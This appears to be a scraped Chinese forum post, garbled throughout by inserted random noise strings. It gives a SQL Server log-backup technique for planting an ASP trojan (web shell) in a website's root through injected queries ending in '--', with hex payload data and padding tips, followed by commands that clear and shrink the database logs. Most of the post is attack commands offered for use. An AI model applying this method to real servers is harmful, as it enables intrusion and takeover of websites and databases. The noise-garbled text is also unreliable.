select * from master.dbo.sysdatabases 列出所有列的记录
# J+ j, _6 ^6 O$ N- k. }/ o9 z" S2 ` 5 N) N$ U; l0 a0 z. R: a' B
select name from master.dbo.sysdatabases 仅列出name列的记录
1 o! }1 r1 x* g3 [8 T1 h: M. O) K! G7 x$ r/ J
注意:可以利用log和数据库备份两上都行,log备份不成功用数据库备份# z& K( I: X2 s2 ?7 W) }
3 f% g0 v6 F8 M1 h. l( ?alter database 数据库名 set RECOVERY FULL--- A8 [6 r' n) T, S6 P
4 h; z2 g1 X6 D' K8 w
create table cmd (a image)-- \**cmd是创建的临时表- @6 i7 E: d" l, T$ G
4 D9 p+ |- U) x: X# d0 F0 M
backup log 数据库名 to disk = 'f:\wwwroot\1.asp' with init--
# _/ _9 O9 u) l$ b, ^7 m
4 E, U* q" b6 Z3 Oinsert into cmd(a) values (0x130a0d0a663A5CCDF8D5BE5CCDF8CDA8C6F3D2B5425C626C75656B6973735C7765625C312E6173700d0a)--
: r6 ~. i: X4 X9 { K7 g# J5 y. L+ G9 [/ l- y& F
//木马存放路径(转换16进制0x130a0d0a替换原来0x最后添加0d0a要多加几个)
4 y! q, H) B/ g. t; d6 ?" }# e. U$ y: [/ h2 ~" p+ q
backup log 数据库名 to disk = 'f:\wwwroot\1.asp'-- (要备份的目录)
* z( M- T* _$ q8 B( J' d8 l2 x, j, X }; W
drop table cmd--
h+ s9 G" Q7 j. Q4 G$ W( S
& I# n, @; U5 a" t/ u; a; ]% i5 m; x
f:\/ a! @! j g! G6 J$ l( ?; A
16进制转换(0x130a0d0a663A5CCDF8D5BE5CCDF8CDA8C6F3D2B5425C626C75656B6973735C7765625C312E6173700d0a), l3 @% q3 S' l
% u( c' {* Q, |6 R. C: [最好多加几个回车0d0a,要不会出错哈
9 I/ g: v" I! s% o% k
0 ]6 v* C( z$ _: z: ^! r; H
9 c. q. o/ L$ p# T1 w, zSQL Server日志清空方法
6 y! E' X0 f( l5 ~4 _/ l
5 T* F# y* ]& T7 Q* m$ c在查询分析器中顺序执行以下三步,其中 databasename 为你的数据库文件名 / Z( K# w) F7 `
1.清空日志:DUMP TRANSACTION databasename WITH NO_LOG ) n9 u* u% A( d& B/ j
/ v# J1 v* _0 d. f- Q2 g$ A$ J. e
2.截断事务日志:BACKUP LOG databasename WITH NO_LOG
2 ?1 ?6 {# h$ C' b8 f3 m0 Q0 W+ L, C" \) H& K6 c
3.收缩数据库:DBCC SHRINKDATABASE(databasename)
" a3 Z8 T4 ~2 ^, x+ x- T |